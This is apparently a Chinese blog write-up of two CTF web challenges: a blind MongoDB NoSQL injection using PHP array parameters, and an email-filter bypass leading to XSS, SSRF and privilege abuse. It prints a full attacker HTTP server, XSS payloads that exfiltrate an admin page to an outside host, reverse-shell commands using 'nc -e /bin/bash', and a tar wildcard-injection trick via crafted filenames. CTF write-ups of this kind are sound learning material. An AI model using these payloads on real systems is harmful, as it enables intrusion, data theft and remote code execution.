前言
蜜汁啊,这个比赛为啥有这么多神仙
差一道题ak,最后Rank2感觉还行,澜洲学长他们还有二进制选手实在太强了
我太菜了只能水一道简单Web
WP
Injection ???
先说下这道题吧,毕竟是全程一个人写的
当时在做MongoDB开发的时候学了一些NoSQL
注入,这次还真的是头一次实战中遇到NoSQL注入
信息收集
首先审查元素存在info.php
看一下是phpinfo,看到了有MongoDB扩展
再根据题目名字,毫无疑问NoSQL注入了
注入
尝试payload: username=admin&password[$ne]=\
提示不是正确密码,那么很显然就是一个NoSQL盲注了
这里就要强烈diss出题人了,为啥不能用个md5截断爆破验证码啊,活生生跑成了人肉脚本,太难受了
用payload:username=admin&password[$regex]=^
去盲注,MongoDB有正则表达式的查询,因此从头开始匹配会比较方便
具体参考这篇文章一个有趣的实例让NoSQL注入不再神秘
手动跑到skmu
时,用谷歌自动匹配发现有个推荐结果是skmun
,于是懒得继续跑了,直接登陆试试,结果就对了。。。
似乎很简单,没啥难度,但是没想到是NoSQL注入的话会很难下手
漏洞成因
漏洞成因在这里简单说下吧
PHP再处理用户数据时很方便,但是这种方便会带来隐患
比如GET请求的时候,传数组进去时PHP会自动解析为数组。MongoDB的查询语句中,存在操作符这一概念,而其符号正是PHP的变量符号$
,这样就导致了注入。
MongoDB还算挺好用的,但是PHP+MongoDB似乎很少。这个洞真不能怪MongoDB,总觉得PHP应该给这个背锅啊。。
有趣的邮箱注册
这道题肝了好久,没做出来,后来康康真的设计挺巧妙的
信息搜集
存在管理员界面http://118.89.56.208:6324/admin/admin.php
打开提示only localhost allowed!
正常用户界面http://118.89.56.208:6324/check.php
为邮箱申请
找了个临时邮箱,发现并不会发邮件
邮箱申请界面存在提示
<?php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
} else {
echo "等待管理员自动审核";
echo $email;
}
}
其实到这思路就很明显了,是XSS+SSRF
可惜了一开始我的思路还是对的,但是后来想的复杂了以为是mail函数的漏洞了,然后一直在bypass,绕成了傻逼
XSS
bypass需要看这篇文章https://stackoverflow.com/questions/19220158/php-filter-validate-email-does-not-work-correctly
输入这个可以绕过校验
"<script/**/src=http://ssh2.evi0s.com/233.js></script>"@strange.example.com
然后233.js
里面放上xss代码就可以了
这里都是果果学长的代码,(懒得去自己再写了
# encoding:utf-8
# server.py
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
import time
import urllib
PORT_NUMBER = 80
# https://stackoverflow.com/questions/16583827/cors-with-python-basehttpserver-501-unsupported-method-options-in-chrome
#This class will handles any incoming request from
#the browser
class myHandler(BaseHTTPRequestHandler):
#Handler for the GET requests
def do_GET(self):
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
time.sleep(2)
# Send the html message
with open("233.js") as f:
self.wfile.write(f.read())
return
def do_OPTIONS(self):
self.send_response(200, "ok")
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
self.send_header("Access-Control-Allow-Headers", "Content-Type")
self.end_headers()
def do_POST(self):
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
length = self.headers.getheader('content-length');
nbytes = int(length)
data = self.rfile.read(nbytes)
with open("admin.html","w") as f:
f.write(urllib.unquote(data.lstrip("key=")))
self.wfile.write("success")
return
try:
#Create a web server and define the handler to manage the
#incoming request
server = HTTPServer(('', PORT_NUMBER), myHandler)
print 'Started httpserver on port ' , PORT_NUMBER
#Wait forever for incoming htto requests
server.serve_forever()
except KeyboardInterrupt:
print '^C received, shutting down the web server'
server.socket.close()
// 233.js
function loadXMLDoc()
{
var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
var data = "key="+escape(xmlhttp.responseText);
var new_xmlhttp = new XMLHttpRequest();
new_xmlhttp.open("POST","http://ssh2.evi0s.com/success",true);// CORS
new_xmlhttp.send(data);
}
}
xmlhttp.open("GET","http://localhost:6324/admin/admin.php",true);
// xmlhttp.open("GET","http://localhost:6324/admin/a0a.php?cmd=nc -e /bin/bash 118.184.32.74 4446",true);
xmlhttp.send();
}
loadXMLDoc();
然后这里就能看到,admin.php页面是
<br /><a href="admin/a0a.php?cmd=whoami">
那么就是官方留的一个后门了
改一下233.js
,弹一个shell
// 233.js
function loadXMLDoc()
{
var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
var data = "key="+escape(xmlhttp.responseText);
var new_xmlhttp = new XMLHttpRequest();
new_xmlhttp.open("POST","http://ssh2.evi0s.com/success",true);// CORS
new_xmlhttp.send(data);
}
}
// xmlhttp.open("GET","http://localhost:6324/admin/admin.php",true);
xmlhttp.open("GET","http://localhost:6324/admin/a0a.php?cmd=nc -e /bin/bash ssh2.evi0s.com 7777",true);
xmlhttp.send();
}
loadXMLDoc();
拿到shell以后,ls一下根目录,发现有flag文件。cat一下发现权限不够
-r-------- 1 flag flag 36 Dec 18 18:14 /flag
蛋疼,这里想到提权。果果学长提示有conn.php
存在数据库信息。ps看了一下发现是mysql用户,所以没有办法用UDF提权到root的。甚至试了下脏牛,似乎没用。
然后这里就卡住了,不如看一下nginx.conf
。然后发现根目录还有子站,php-fpm解析引擎是flag用户运行的,也就是说要通过子站来读取flag文件的内容。
查看另外一个站的backup.php
<?php
include("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
echo "上传目录下的所有文件备份成功!<br />";
echo "备份文件名: z.tar.gz";
}else{
echo "未上传文件,无法备份!";
}
?>
看了别人的WP才知道,tar有个通配符导致的漏洞,算是学习了一波
还有这篇文章利用通配符实现Linux本地提权
上传三个文件,文件名分别为
flag.sh
--checkpoint-action=exec=sh flag.sh
--checkpoint=1
flag.sh
文件内容是
cat /flag | base64
上传完以后备份,触发漏洞
然后解base64就可以了
总结
又学了一个漏洞2333,还挺好玩的。顺便学了一下UDF提权。
总结
先写两个挖的比较深的题,其他的有空再复现试试看。本地机PHP环境都没有太蛋疼了。。
NoSQL注入拿了一血爽到了2333333
发表评论
沙发空缺中,还不快抢~